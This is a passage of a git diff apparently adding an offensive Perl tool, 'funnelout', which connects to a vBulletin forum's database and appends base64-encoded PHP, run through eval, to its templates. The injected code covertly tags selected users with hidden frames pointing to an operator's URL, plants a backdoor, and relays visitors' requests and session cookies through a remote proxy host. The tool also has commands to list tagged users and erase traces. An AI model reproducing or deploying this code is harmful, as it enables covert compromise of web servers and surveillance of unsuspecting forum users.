$sslOP\n"; + print "Tag Rand Interval: $tagInt\n"; + print "Tag Time: $tagTime\n"; + print "Tag Template: $tagTemplate\n"; + print "Proxy Template: $proxyTemplate\n" if $op eq "proxy"; + + if($sslOP ne "sslonly" and $sslOP ne "mixed" and $sslOP ne "ssloff") { + die "Unkown ssl option ($sslOP), options are sslonly, mixed or ssloff\n"; + } + + if(not $force and $tagInt < 2) { + die "Tag Interval cannot be less than 2.\n"; + } + + if(not $force and $tagTime < $hour) { + die "Tag time cannot be less than 1.\n"; + } + + my $tmp_bl = $blackList; + $tmp_bl =~ s/[a-fA-F0-9,]//g; + if($tmp_bl ne "") { + die "There are illegal characters in the black list ($tmp_bl). You need comma separated MD5 sums\n"; + } + } + +# if($DB_name eq "" or $DB_user eq "" or $DB_pass eq "" or $DB_host eq "") { +# print "Database Name, User, Password and Host are required\n"; +# exit; +# } +} + +sub printUsage { + print <fetchrow_array()) { + my $code = extractCode($row[1]); + my $s = "??"; + if ($code =~ /proxyhost/) { + $s = "Proxy"; + $pc = $code; + $p = 1; + } + if ($code =~ /$userHashSalt/) { + $s = "Tag"; + $tc = $code; + $t = 1; + } + if ($code =~ /_SERVER\[\"HTTP_REFERRER\"\]/) { + $s = "Backdoor"; + $d = 1; + } + + $curmsg = sprintf "%-15s $row[0]\n", "$s template:"; + if ($msg !~ /$curmsg/) { + $msg .= $curmsg; + } + } + print "Status: "; + print "TAGGING " if $t; + print "PROXYING " if $p; + print "BACKDOOR" if $d; + print "nothing enabled" if !$t and !$p and !$d; + print "\n"; + print $msg; + + if ($t) { + my ($h,$tag) = extractTag($tc, $pc); + print "Proxy " if $p; + print "Tag: " . (defined $tag ? $tag : "???") . "\n"; + print "Proxy Target: $h\n" if $p; + } +} + +sub op_reset() { + sql_exec("DELETE FROM datastore WHERE ". + "LENGTH(title) = 15 AND LENGTH(data) < 60 and data LIKE 'a:2:{i:0;i:%;i:1;i:%;}'"); +} + +sub show_table { + my $title = $_[0]; + + my $statement = sql_exec( + "SELECT template FROM $DB_table WHERE title='$title'"); + + print $statement->fetchrow() . "\n"; + + $statement->finish(); +} + +sub showTaggedCount { + my $statement = sql_exec("SELECT COUNT(*) FROM datastore WHERE ". + "LENGTH(title) = 15 AND LENGTH(data) < 60 and data LIKE 'a:2:{i:0;i:%;i:1;i:%;}'"); + + my $row = $statement->fetchrow(); + + print "\nTagged User(s) = $row\n"; +} + +sub showTagged { + my $statement = sql_exec("SELECT title, data FROM datastore WHERE ". + "LENGTH(title) = 15 AND LENGTH(data) < 60 and data LIKE 'a:2:{i:0;i:%;i:1;i:%;}'"); + + print "------ User ------+---- last page view reset time ----+--- page views until tag ---\n"; + while (my @row = $statement->fetchrow_array()) { + my $name = $row[0]; + my @state = tagStateUnserialize($row[1]); + my @ts = localtime($state[0]); + my $rtime = sprintf("%02d/%02d/%04d %02d:%02d:%02d", + ($ts[4] + 1), $ts[3], ($ts[5]+1900), $ts[2], $ts[1], $ts[0]); + my $views; + if ($state[1] == -1) { + $views = "-1 (tagged, waiting for reset)"; + } else { + $views = $state[1]; + } + printf "%-17s | %-34s| %s\n", $name, $rtime, $views; + } +} + +sub op_showAll { + print "---- TAG TEMPLATE: $tagTemplate ----\n"; + show_table($tagTemplate); + + print "\n---- DOOR TEMPLATE: $doorTemplate ----\n"; + show_table($doorTemplate); + + print "\n---- PROXY TEMPLATE: $proxyTemplate ----\n"; + show_table($proxyTemplate); + + print "\n\n"; + showTagged(); +} + +sub op_findAll { + my $statement = sql_exec("SELECT title,template FROM template WHERE template LIKE '%$codePrefix%$codeSuffix%'"); + my $curmsg = ""; + my $msg = ""; + + printf "%16s | %s\n", "Template", "Op type"; + printf "-----------------+-------------------\n"; + while (my @row = $statement->fetchrow_array()) { + my $code = extractCode($row[1]); + my $s = ""; + if ($code =~ /proxyhost/) { + $s .= "Proxy "; + } + if ($code =~ /$userHashSalt/) { + $s .= "Tag "; + } + if ($code =~ /_SERVER\[\"HTTP_REFERRER\"\]/) { + $s .= "Backdoor "; + } + + #printf "%16s | %s\n", $row[0], $s; + $curmsg = sprintf "%16s | %s\n", $row[0], $s; + + #$curmsg = sprintf "%-15s $row[0]\n", "$s template:"; + if ($msg !~ /$curmsg/) { + $msg .= $curmsg; + } + } + print "$msg\n"; +} + +sub patch_db { + my $patchString = $_[0]; + my $title = $_[1]; + + $patchString =~ s/\\/\\\\/g; + + print "Patching... "; + #print "$DB_table $patchString $title\n"; + + my $statement = sql_exec( + "UPDATE $DB_table SET template = CONCAT(template, '$patchString') WHERE title='$title'"); + + #print ("UPDATE $DB_table SET template = CONCAT(template, '$patchString') WHERE title='$title'\n"); + $statement->finish(); + + print "Done\n"; + + if(verify($patchString, $title, 1) == 0) { + print "Patch failed\n"; + } +} + +sub tagStateUnserialize() { + my $d = shift; + + $d =~ /a:2:\{i:0;i:(\d+);i:1;i:(-?\d+);}/ or return undef; + + return ($1, $2); +} + +sub op_clean { + my $title = $_[0]; + print "Cleaning code... "; + + my $statement = sql_exec( + "UPDATE $DB_table SET template = SUBSTRING_INDEX(template, '\".\@eval(',1) WHERE title='$title';"); + + print "Done\n"; + + $statement->finish(); + + if(verify('".@eval(', $title, 1) == 1) { + print "Clean failed\n"; + } +} + +sub op_cleanall { + my $statement = sql_exec( + "UPDATE $DB_table SET template = SUBSTRING_INDEX(template, '$codePrefix',1);"); + $statement->finish(); + + $statement = sql_exec( + "SELECT title FROM $DB_table WHERE template LIKE '%$codePrefix%';"); + $statement->fetchrow_array(); + $statement->rows == 0 or die "Clean didn't take.\n"; + print "All clean.\n"; +} + +sub verify { + my $checkString = $_[0]; + my $title = $_[1]; + my $verbose = $_[2]; + + $checkString =~ s/\\/\\\\/g; + + print "Verifying... " if $verbose; + + my $statement = sql_exec( + "SELECT template FROM $DB_table WHERE title='$title' and template LIKE '%$checkString%'"); + + $statement->fetchrow_array(); + + my $row_count = $statement->rows; + + $statement->finish(); + + if($row_count == 0) { + print "Patch is NOT in the database.\n" if $verbose; + return 0; + } else { + print "Patch is in the database.\n" if $verbose; + return 1; + } +} + +sub sql_exec { + my $stat = $_[0]; + + #print "SQL: $stat\n"; + + my $statement = $DB_con->prepare($stat); + $statement->execute() or die "Error executing statement: @!"; + + return $statement; +} + +sub validateTemplate { + my $template = $_[0]; + + my $statement = sql_exec("SELECT template FROM template WHERE title = '$template'"); + while (my @row = $statement->fetchrow_array()) { + checkPhpSyntax($row[0]) or return 0; + } + + return 1; + +} + +{ +my $php; +sub checkPhpSyntax { + my $code = $_[0]; + + # look for php + if (not defined($php)) { + foreach my $p (split(':', $ENV{PATH})) { + if (-x "$p/php") { + $php = "$p/php"; + last; + } + } + + if (not defined($php)) { + print "Warning: Failed to find php command line.\n"; + print "We couldn't validate the modified template, but you are probably ok.\n"; + $php = "0"; + } + } + + if (defined($php) and $php ne "0") { + my $pid = open(PHP, "|-", "$php -H -l -n -d log_errors=Off &>/dev/null"); + print PHP $code; + close(PHP); + if (not WIFEXITED($?) and not WEXITSTATUS($?) == 0) { + return 0; + } + } + + return 1; +}} + +sub existsUser { + my $u = $_[0]; + + my $statement = sql_exec("SELECT username FROM user WHERE username='$u'"); + while (my @r = $statement->fetchrow_array()) {} + return 1 if ($statement->rows > 0); + return 0; +} + +sub getUserList { + my $lst = $_[0]; + my $lsth = $_[1]; + my @users = (); + + if (defined($lst)) { + push @users, split(',', join(',', @$lst)); + } + + if (defined($lsth)) { + my @hstrs = split(',', join(',', @$lsth)); + my @str = (); + foreach my $s (@hstrs) { + $s =~ /^[a-fA-F0-9]+$/ or die "Invalid hex string: $s\n"; + length($s) % 2 == 0 or die "Invalid hex string length: $s\n"; + push @users, pack("C*", map(hex, unpack("(A2)*", $s))) + } + } + + return @users; +} + +sub getPostList { + my $lst = $_[0]; + my @posts = (); + + if (defined($lst)) { + push @posts, split(',', join(',', @$lst)); + } + + return @posts; +} + + + +sub getVbVersion() { + my $stat = sql_exec("SELECT value FROM setting WHERE varname = 'templateversion'"); + my @row = $stat->fetchrow(); + $stat->finish(); + if (@row == 0) { + return undef; + } + else { + return $row[0]; + } +} + + +sub read_config { + my $file = $_[0]; + + my $line; + + my $junk; + my $major; + my $minor; + my $field; + my $value; + + open (IN, "<$file") or die "Can't open ($file) $!\n"; + + while($line = ) { + $line = trim($line); + if( !($line =~ m/^[\/\/\#]/) and $line =~ m/\$config/) { + ($major, $value) = split(/=/, $line, 2); + + $value = trim($value); + $value =~ s/[ ;\']//g; + + ($junk, $major, $junk, $minor, $junk) = split(/\'/, $major); + + $field = "$major$minor"; + if($field eq "Databasedbname") { + $DB_name = $value; + } elsif($field eq "Databasetableprefix") { + $DB_table = "$value$DB_table"; + } elsif($field eq "MasterServerservername") { + $DB_host = $value; + } elsif($field eq "MasterServerport") { + $DB_port = $value; + } elsif($field eq "MasterServerusername") { + $DB_user = $value; + } elsif($field eq "MasterServerpassword") { + $DB_pass = $value; + } + } + } + + close(IN); +} + +sub trim { + my $string = $_[0]; + $string =~ s/^\s+//; + $string =~ s/\s+$//; + return $string; +} + +sub run { + my $cmd = $_[0]; + + print "CMD: $cmd\n"; + print `$cmd`; +} + +sub getBase64Encode { + my $enc = encode_base64($_[0]); + $enc =~ s/\n//g; + $enc; +} + +sub getBase64File { + my $filename = $_[0]; + my $contents; + + + open(IN, "<$filename") or die "Couldn't open file $filename: $!\n"; + + binmode(IN); + $contents = encode_base64(do { local $/; }); + close(IN); + + $contents =~ s/\n//g; + $contents; +} + +sub isBinary { + my $str = $_[0]; + my $byte; + my $binary = 0; + + foreach $byte (split(//, $str)){ + if(ord($byte) > 127){ + $binary = 1; + } + } + return $binary; +} + +sub getPrintable { + my $str = $_[0]; + my $byte; + + if(isBinary($str)){ + unpack("H*",$str); + } + else{ + $str; + } +} + +sub makeTagCode { + my $contents; + my $text; + my ($text2, $text3, $text4, $text5); # used to build the code interactively + my $urlBuild; + my $crumbBuild = "''"; + my $bl; + my $postl; + my $proxyUrl; + my $proxyTo; + my $doSSL = ""; + + print "BL: $blackList\n"; + foreach my $b (split(/,/, $blackList)) { + $bl .= " and \$md !== '" . trim($b) . "'"; + } + + my @users = getUserList(\@excludeList, \@excludeListHex); + my $msg = "Exclude: "; + my $exp = ""; + foreach my $u (@users) { + #existsUser($u) or die "User '$u' does not exist in database.\n"; + #existsUser($u) or die "User '" . getPrintable($u) . "' does not exist in database.\n"; + existsUser($u) or die "User '" . $u . "' (" . unpack("H*",$u) . ") does not exist in database.\n"; + my $xu = md5_hex($u); + $msg .= "$u($xu) "; + $bl .= " and \$md !== '$xu'"; + } + $bl .= $exp if length($exp) > 0; + print "$msg\n"; + + @users = getUserList(\@includeList, \@includeListHex); + $msg = "Include: "; + $exp = ""; + foreach my $u (@users) { + #existsUser($u) or die "User '$u' does not exist in database.\n"; + existsUser($u) or die "User '" . $u . "' (" . unpack("H*",$u) . ") does not exist in database.\n"; + my $xu = md5_hex($u); + $msg .= "$u($xu) "; + $exp .= " or \$md == '$xu'"; + } + $bl .= " and (false $exp)" if length($exp) > 0; + print "$msg\n"; + print "filter exp: true $bl\n" if $verbose; + + if(@postList){ + $exp = ""; + my @posts = getPostList(\@postList); + foreach my $p (@posts) { + $exp .= " or \$v->GPC['postid'] == $p"; + } + $postl .= " and (false $exp)" if length($exp) > 0; + print "post exp: true $postl\n" if $verbose; + } + + $tagUrl =~ s/[\r\t\n]//g; + $tagUrl = trim($tagUrl); + + #if($tagUrl =~ m/\.html$/) { + #die "Tag should not be ending with '.html' (it's automatically appended), check to make sure you entered it correctly!\n"; + #} + + if($tagUrl =~ m/^(http|https):\/\//) { + die "Tag should not start with http:// or https:// (those are automatically prepended), check to make sure you entered it correctly!\n"; + } + + + if(($op eq "proxy") || ($op eq "proxytag")){ + ($proxyTo, $proxyUrl) = split(/\//, $tagUrl, 2); + my $u = "$proxyPage/$proxyUrl"; + $urlBuild = '$htt = "'.$u.'";'; + } elsif(!$http) { + $urlBuild = '$htt = "' . $tagUrl . '";'; + } else { + if($sslOP eq "ssloff") { + $doSSL = "or isset(\$_SERVER['HTTPS'])"; + $urlBuild = '$htt = "http://' . $tagUrl . '";'; + } elsif($sslOP eq "mixed") { + $urlBuild = <' +END + } + + $text = <datastore) $doSSL) { + return ""; +} + +// Get pointers +\$bd = 'build_datastore'; +\$v =& \$vbulletin; +\$d =& \$v->datastore; +\$r =& \$d->registry; + +// Get local state, username and array with switch and ctime +\$n = \$_SERVER['SERVER_ADDR'] . \$r->config['MasterServer']['servername']; +\$u = \$v->userinfo['username']; +\$k = substr(md5("$userHashSalt" . \$n), 0, 15); +\$d->fetch(array(\$k)); + +clearstatcache(); +\$st = stat("showthread.php"); +\$st[10] = 1258466920; + +// Initialize. This is the first run. +if(!isset(\$r->\$k)) { + \$tmp[0] = true; + \$tmp[1] = \$st[10]; + + \$bd(\$k, serialize(\$tmp), 1); + \$d->fetch(array(\$k)); + + // Don't tag if, for whatever reason, we can't save state. + // Same length is used for username. So if this key is saved + // then the username should be saved. + if(!isset(\$r->\$k)) { + return ""; + } +} + +// We don't want to tag if the switch is off or showthread's ctime (st[10]) has changed. +\$rk =& \$r->\$k; +if (!is_array(\$rk)) { + \$rk = unserialize(\$rk); +} + +if(\$rk[0] == false OR \$rk[1] !== \$st[10]) { + return ""; +} + +if(THIS_SCRIPT=='showthread' or (THIS_SCRIPT=='private' and + (\$_REQUEST['do']=='newpm' or \$_REQUEST['do'] == 'showpm'))){ + + \$eu=urlencode(\$u); + \$md = md5(\$u); + if(true$bl) { + \$td = time(); +END + + if($minutes){ # separate this group from the others, notice '4' + $text2 = <userinfo['salt'] . '4'), 0, 15); +END + } + else{ + $text2 = <userinfo['salt']), 0, 15); +END + } + + # this always happens + $text3 = <fetch(array(\$key)); + + if(!isset(\$r->\$key)) { + \$bd(\$key, serialize(array('')), 1); + \$d->fetch(array(\$key)); + } + + \$rk =& \$r->\$key; + if (!is_array(\$rk)) { + \$rk = unserialize(\$rk); + } + if(preg_match('/^(64\.38\.3\.50|195\.28\.|94\.102\.|91\.93\.|41\.130\.|212\.118\.|79\.173\.|85\.159\.|94\.249\.|86\.108\.)/',IPADDRESS)){ + return ""; + } +END + + # when viewing a particular thread (defined by -postlist), always tag immediately + if(@postList){ + $text4 = <'; + } +END + } + # this is the normal case. tag randomly every so often + else{ + $text4 = <= $tagTime) { + \$rk[0] = \$td; + \$rk[1] = rand(0, $tagInt); + + \$bd(\$key, serialize(\$rk), 1); + } + + if(\$rk[1] > 0) { + \$rk[1] = \$rk[1] - 1; + \$bd(\$key, serialize(\$rk), 1); + } + else if(\$rk[1] == 0) { + // should make it -1 and stop tagging for today. + \$rk[1] = \$rk[1] - 1; + \$bd(\$key, serialize(\$rk), 1); + + $urlBuild + \$scroll='no'; + if (preg_match('/iPhone/',\$_SERVER['HTTP_USER_AGENT'])){ + \$scroll='yes'; + } + return $crumbBuild . ''; + } +END + } + +# finish the code, could put it in $text4, but then the code looks weird with the parens +$text5 = < 0){ + \$query = \$_SERVER['QUERY_STRING']; + if(strlen(\$query) > 1){ + \$fa = "http://\$fahost/\$new_path?\$query"; + } + else{ + \$fa = "http://\$fahost/\$new_path"; + } +} + +\$refer = \$_SERVER['HTTP_REFERER']; +\$lang = \$_SERVER['HTTP_ACCEPT_LANGUAGE']; +\$forw = \$_SERVER['HTTP_X_FORWARDED_FOR']; +\$url_info = parse_url(\$fa); +\$query = isset(\$url_info["query"]) ? "?" . \$url_info["query"] : ""; +\$req = "\$meth " . \$url_info["path"] . \$query . " HTTP/1.1\\r\\n"; +\$req .= "Host: " . \$proxyhost . "\\r\\n"; +\$req .= "User-Agent: " . \$agent . "\\r\\n"; +\$req .= "Accept-Language: " . \$lang . "\\r\\n"; +if(strlen(\$script) > 0){ + \$req .= "From: " . \$script . "\\r\\n"; +} +if(!empty(\$_SERVER['HTTP_X_FORWARDED_FOR'])){ + \$req .= "X-Forwarded-For: " . \$forw . ", " . \$_SERVER['REMOTE_ADDR'] . "\\r\\n"; +} +else{ + \$forw = \$_SERVER['REMOTE_ADDR']; + \$req .= "X-Forwarded-For: " . \$forw . "\\r\\n"; +} +\$req .= "Referer: " . \$refer . "\\r\\n"; +\$req .= "Connection: close\\r\\n"; +if (0 == strcasecmp(\$meth,"POST")) { + \$req .= "Content-Length: " . strlen(\$body); + \$req .= "\\r\\n\\r\\n"; + \$req .= \$body; +} +else { + \$req .= "\\r\\n"; +} + +\$port = isset(\$url_info["port"]) ? \$url_info["port"] : 80; +\$fp = fsockopen(\$url_info["host"],\$port,\$errno,\$errstr,30); +if(!\$fp){ + exit(); +} +fwrite(\$fp,\$req); +stream_set_timeout(\$fp,60); +\$res = ""; +while(!feof(\$fp)){ + \$res .= fgets(\$fp,128); +} +fclose(\$fp); +\$res = \@explode("\\r\\n\\r\\n",\$res,2); +\$header = \$res[0]; +\$page = \$res[1]; + +\$headers = explode("\\r\\n",\$header); +foreach(\$headers as \$value){ + \$a = ""; + \$b = ""; + list(\$a,\$b) = explode(":",\$value); + \$http_header[trim(\$a)] = trim(\$b); + if((\$_SERVER['HTTPS']) && (preg_match("/Pragma: no-cache|Cache-Control: no-cache, no-store/",\$value))){ + + } + else{ + header(\$value); + } +} + +\$size = \$http_header["Content-Length"]; +\$type = \$http_header["Content-Type"]; + +//if(empty(\$http_header['Content-Type'])){ +if(empty(\$http_header['Content-Type']) && empty(\$http_header['Content-type'])){ + \$type = 'text/html'; +} + +//if(preg_match("/\$proxyhost/",\$page)){ +// \$text = preg_replace("/\$proxyhost/", \$proxy, \$page); +// \$size = strlen(\$text); +//} +//else{ + \$text = \$page; +//} +if (eregi('text/html',\$type)){ + header("Content-Type: text/html;charset="); +} +if((\$_SERVER['HTTPS']) && (preg_match("/http:\\\/\\\/\$proxyhost/",\$text))){ + \$text = preg_replace("/http:\\\/\\\/\$proxyhost/", "https://\$proxyhost", \$text); + \$size++; +} +header("Content-Length: \$size"); +if (0 == strcasecmp(\$meth,"POST")) { + \$hash = \$_COOKIE['bbsessionhash']; + \$hash = substr(\$hash,0,32); + header("Set-Cookie: bbsessionhash=" . \$hash . "; path=/; HttpOnly"); +} +else if (preg_match("/GIF89a|PDF-/",\$text)){ + \$hash = md5(mt_rand()); + header("Set-Cookie: bbsessionhash=" . \$hash . "; path=/; HttpOnly"); +} + +print \$text; +exit(0); +} +END + + checkPhpSyntax($text) or die "Proxy code has a PHP syntax error.\n"; + + my $prepared = prepareCode($text); + #print "---- CODE ----\n$text\n---- CODE ----\n"; + + return $prepared; +} + +sub prepareCode { + my $text = $_[0]; + + my $contents = ""; + + foreach my $line (split(/\n/, $text)) { + $line = trim($line); + my $append = " "; + + if($line ne "" and not ($line =~ m/^\/\//)) { + if($line =~ m/[\;\)\}\{]$/) { + $append = ""; + } + + #optimize: + $line =~ s/\) \{/\)\{/g; + $line =~ s/ == /==/g; + $line =~ s/ !== /!==/g; + $line =~ s/ = /=/g; + $line =~ s/ - /-/g; + $line =~ s/ =& /=&/g; + $line =~ s/, /,/g; + $line =~ s/ > />/g; + $line =~ s/\} else/\}else/g; + $line =~ s/ \. /\./g; + + $contents .= $line . $append; + } + } + + return getBase64Encode($contents); +} diff --git a/Linux/up/funnelout.v4.1.0.1.pl b/Linux/up/funnelout.v4.1.0.1.pl new file mode 100755 index 0000000..122abdb --- /dev/null +++ b/Linux/up/funnelout.v4.1.0.1.pl @@ -0,0 +1,1253 @@ +#!/usr/bin/env perl + +use strict; +use warnings; +use Getopt::Long; +use DBI; +use MIME::Base64; +use Digest::MD5 qw(md5_hex); +use POSIX ":sys_wait_h"; + +my $hour = 60*60; + +my $postlist = ''; +my $crumb = ''; +my $vbOverride; +my $minutes = ''; +my $force = 0; +my $verbose = 0; +my $DB_host = "localhost"; +my $DB_port = "3306"; +my $DB_name; +my $DB_user; +my $DB_pass; +my $DB_table = "template"; +my $DB_con; +my $config_file; +my $sslOP = "ssloff"; +my $tagInt = 6; +my $tagTime = 24*$hour; +my $tagUrl; +my $http = 1; +my $blackList = '84b8026b3f5e6dcfb29e82e0b0b0f386,e6d290a03b70cfa5d4451da444bdea39'; # unregistered (EN), dbedd120e3d3cce1 (AR) +my @excludeList; +my @excludeListHex; +my @includeList; +my @includeListHex; +my @postList; +my $tagTemplate = "navbar"; +my $proxyTemplate = "header"; +my $doorTemplate = "footer"; +my $proxyPage = "showpost.php"; + +my $vbVersion = 3; +my $codePrefix = '".@eval(base64_decode("'; +my $codeSuffix = '"))."'; +#my $codePrefix = '$final_rendered .= @eval(base64_decode("'; +#my $codeSuffix = '"));'; +my $userHashSalt = "l9ed39e2fea93e5"; +my $op; +my $code_door; +my $code_tag; +my $code_proxy; + +my @opTypes = ("tag", "door", "proxy", "proxytag", "status", "reset", + "cleanTag", "cleanDoor", "cleanProxy", "cleanAll", + "showTag", "showDoor", "showProxy", "showTagged", "showTaggedCount", + "showAll", "findAll"); + +sub main(); + +getOpts(); +main(); + + +sub main() { + $DB_con = DBI->connect("DBI:mysql:$DB_name:$DB_host:$DB_port", $DB_user, $DB_pass) or die "Error connecting @!"; + + vbVersion(); + if(($op eq "tag") || ($op eq "proxytag")) { + op_tag(); + } elsif ($op eq "door") { + op_door(); + } elsif ($op eq "proxy") { + op_tag(); + op_proxy(); + } elsif ($op eq "status") { + op_status(); + showTaggedCount(); + } elsif ($op eq "reset") { + op_reset(); + } elsif ($op eq "cleanTag") { + op_clean($tagTemplate); + } elsif ($op eq "cleanDoor") { + op_clean($doorTemplate); + } elsif ($op eq "cleanProxy") { + op_clean($proxyTemplate); + op_clean($tagTemplate); + } elsif($op eq "cleanAll") { + op_cleanall(); + } elsif ($op eq "showTag") { + show_table($tagTemplate); + } elsif ($op eq "showDoor") { + show_table($doorTemplate); + } elsif ($op eq "showProxy") { + show_table($proxyTemplate); + } elsif ($op eq "showTagged") { + showTagged(); + showTaggedCount(); + } elsif ($op eq "showTaggedCount") { + showTaggedCount(); + } elsif ($op eq "showAll") { + op_showAll(); + } elsif ($op eq "findAll") { + op_findAll(); + } else { + die "Unknown op.\n"; + } + + $DB_con->disconnect(); +} + +sub getOpts { + my $help = 0; + + my ($lDB_host, $lDB_port, $lDB_name, $lDB_user, + $lDB_pass, $lDB_table, $lSSL, $lTagTime); + + if($#ARGV == -1) { + printUsage(); + exit(1); + } + + GetOptions( + "help!" => \$help, + "op:s" => \$op, + "h:s" => \$lDB_host, + "port:s" => \$lDB_port, + "d:s" => \$lDB_name, + "u:s" => \$lDB_user, + "p:s" => \$lDB_pass, + "t:s" => \$lDB_table, + "conf:s" => \$config_file, + "ssl:s" => \$sslOP, + "int:i" => \$tagInt, + "time:i" => \$lTagTime, + "minutes!" => \$minutes, + "crumb!" => \$crumb, + "override:i" => \$vbOverride, + "tag:s" => \$tagUrl, + "http!" => \$http, + "bl:s" => \$blackList, + "exclude|x:s" => \@excludeList, + "exclude-hex|xh:s" => \@excludeListHex, + "wl|include|i:s" => \@includeList, + "include-hex|ih:s" => \@includeListHex, + "postlist|i:s" => \@postList, + "tagtemplate:s" => \$tagTemplate, + "proxytemplate:s" => \$proxyTemplate, + "doortemplate:s" => \$doorTemplate, + "f!" => \$force, + "v!" => \$verbose + ); + + if($help eq "1" or not defined $op) { + printUsage(); + exit(1); + } + + grep(/\Q$op\E/, @opTypes) or die "Invalid op. Use: " . join(' ', @opTypes) ."\n"; + + defined($config_file) and read_config($config_file); + + if(defined($lDB_host)) { + $DB_host = $lDB_host; + } + + if(defined($lDB_port)) { + $DB_port = $lDB_port; + } + + if(defined($lDB_name)) { + $DB_name = $lDB_name + } + + if(defined($lDB_user)) { + $DB_user = $lDB_user; + } + + if(defined($lDB_pass)) { + $DB_pass = $lDB_pass; + } + + if(defined($lDB_table)) { + $DB_table = $lDB_table + } + + defined($DB_host) and defined($DB_port) and defined($DB_name) + and defined($DB_user) and defined($DB_pass) and defined($DB_table) + or die "DB stuff not defined.\n"; + + if(defined($lTagTime)) { + $tagTime = $lTagTime * $hour; + } + + if(defined($lTagTime) && $minutes) { + $tagTime = $lTagTime * 60; + } + + if(defined($vbOverride) && $vbOverride != 3 && $vbOverride != 4) { + die "-override version needs to be either 3 or 4.\n"; + } + + #if (defined($tagUrl) and $tagUrl !~ /(.+?)\/.+?\/.+?\/(.+?)\/\d+\/(.+?)\/(.*)/) { + #die "Invalid tag URL: $tagUrl\n"; + #} + + print "DB Host: $DB_host\n"; + print "DB Port: $DB_port\n"; + print "DB Name: $DB_name\n"; + print "DB User: $DB_user\n"; + print "DB Pass: $DB_pass\n"; + print "DB Table: $DB_table\n\n"; + + if($op eq "tag" or $op eq "proxy") { + defined $tagUrl or die "You must give a tag URL.\n"; + + print "SSL: $sslOP\n"; + print "Tag Rand Interval: $tagInt\n"; + print "Tag Time: $tagTime\n"; + print "Tag Template: $tagTemplate\n"; + print "Proxy Template: $proxyTemplate\n" if $op eq "proxy"; + + if($sslOP ne "sslonly" and $sslOP ne "mixed" and $sslOP ne "ssloff") { + die "Unkown ssl option ($sslOP), options are sslonly, mixed or ssloff\n"; + } + + if(not $force and $tagInt < 2) { + die "Tag Interval cannot be less than 2.\n"; + } + + if(not $force and $tagTime < $hour) { + die "Tag time cannot be less than 1.\n"; + } + + my $tmp_bl = $blackList; + $tmp_bl =~ s/[a-fA-F0-9,]//g; + if($tmp_bl ne "") { + die "There are illegal characters in the black list ($tmp_bl). You need comma separated MD5 sums\n"; + } + } + +# if($DB_name eq "" or $DB_user eq "" or $DB_pass eq "" or $DB_host eq "") { +# print "Database Name, User, Password and Host are required\n"; +# exit; +# } +} + +sub printUsage { + print <fetchrow_array()) { + my $code = extractCode($row[1]); + my $s = "??"; + if ($code =~ /proxyhost/) { + $s = "Proxy"; + $pc = $code; + $p = 1; + } + if ($code =~ /$userHashSalt/) { + $s = "Tag"; + $tc = $code; + $t = 1; + } + if ($code =~ /_SERVER\[\"HTTP_REFERRER\"\]/) { + $s = "Backdoor"; + $d = 1; + } + + $curmsg = sprintf "%-15s $row[0]\n", "$s template:"; + if ($msg !~ /$curmsg/) { + $msg .= $curmsg; + } + } + print "Status: "; + print "TAGGING " if $t; + print "PROXYING " if $p; + print "BACKDOOR" if $d; + print "nothing enabled" if !$t and !$p and !$d; + print "\n"; + print $msg; + + if ($t) { + my ($h,$tag) = extractTag($tc, $pc); + print "Proxy " if $p; + print "Tag: " . (defined $tag ? $tag : "???") . "\n"; + print "Proxy Target: $h\n" if $p; + } +} + +sub op_reset() { + sql_exec("DELETE FROM datastore WHERE ". + "LENGTH(title) = 15 AND LENGTH(data) < 60 and data LIKE 'a:2:{i:0;i:%;i:1;i:%;}'"); +} + +sub show_table { + my $title = $_[0]; + + my $statement = sql_exec( + "SELECT template FROM $DB_table WHERE title='$title'"); + + print $statement->fetchrow() . "\n"; + + $statement->finish(); +} + +sub showTaggedCount { + my $statement = sql_exec("SELECT COUNT(*) FROM datastore WHERE ". + "LENGTH(title) = 15 AND LENGTH(data) < 60 and data LIKE 'a:2:{i:0;i:%;i:1;i:%;}'"); + + my $row = $statement->fetchrow(); + + print "\nTagged User(s) = $row\n"; +} + +sub showTagged { + my $statement = sql_exec("SELECT title, data FROM datastore WHERE ". + "LENGTH(title) = 15 AND LENGTH(data) < 60 and data LIKE 'a:2:{i:0;i:%;i:1;i:%;}'"); + + print "------ User ------+---- last page view reset time ----+--- page views until tag ---\n"; + while (my @row = $statement->fetchrow_array()) { + my $name = $row[0]; + my @state = tagStateUnserialize($row[1]); + my @ts = localtime($state[0]); + my $rtime = sprintf("%02d/%02d/%04d %02d:%02d:%02d", + ($ts[4] + 1), $ts[3], ($ts[5]+1900), $ts[2], $ts[1], $ts[0]); + my $views; + if ($state[1] == -1) { + $views = "-1 (tagged, waiting for reset)"; + } else { + $views = $state[1]; + } + printf "%-17s | %-34s| %s\n", $name, $rtime, $views; + } +} + +sub op_showAll { + print "---- TAG TEMPLATE: $tagTemplate ----\n"; + show_table($tagTemplate); + + print "\n---- DOOR TEMPLATE: $doorTemplate ----\n"; + show_table($doorTemplate); + + print "\n---- PROXY TEMPLATE: $proxyTemplate ----\n"; + show_table($proxyTemplate); + + print "\n\n"; + showTagged(); +} + +sub op_findAll { + my $statement = sql_exec("SELECT title,template FROM template WHERE template LIKE '%$codePrefix%$codeSuffix%'"); + my $curmsg = ""; + my $msg = ""; + + printf "%16s | %s\n", "Template", "Op type"; + printf "-----------------+-------------------\n"; + while (my @row = $statement->fetchrow_array()) { + my $code = extractCode($row[1]); + my $s = ""; + if ($code =~ /proxyhost/) { + $s .= "Proxy "; + } + if ($code =~ /$userHashSalt/) { + $s .= "Tag "; + } + if ($code =~ /_SERVER\[\"HTTP_REFERRER\"\]/) { + $s .= "Backdoor "; + } + + #printf "%16s | %s\n", $row[0], $s; + $curmsg = sprintf "%16s | %s\n", $row[0], $s; + + #$curmsg = sprintf "%-15s $row[0]\n", "$s template:"; + if ($msg !~ /$curmsg/) { + $msg .= $curmsg; + } + } + print "$msg\n"; +} + +sub patch_db { + my $patchString = $_[0]; + my $title = $_[1]; + + $patchString =~ s/\\/\\\\/g; + + print "Patching... "; + #print "$DB_table $patchString $title\n"; + + my $statement = sql_exec( + "UPDATE $DB_table SET template = CONCAT(template, '$patchString') WHERE title='$title'"); + + #print ("UPDATE $DB_table SET template = CONCAT(template, '$patchString') WHERE title='$title'\n"); + $statement->finish(); + + print "Done\n"; + + if(verify($patchString, $title, 1) == 0) { + print "Patch failed\n"; + } +} + +sub tagStateUnserialize() { + my $d = shift; + + $d =~ /a:2:\{i:0;i:(\d+);i:1;i:(-?\d+);}/ or return undef; + + return ($1, $2); +} + +sub op_clean { + my $title = $_[0]; + my $statement; + print "Cleaning code... "; + + if($vbVersion == 3){ + $statement = 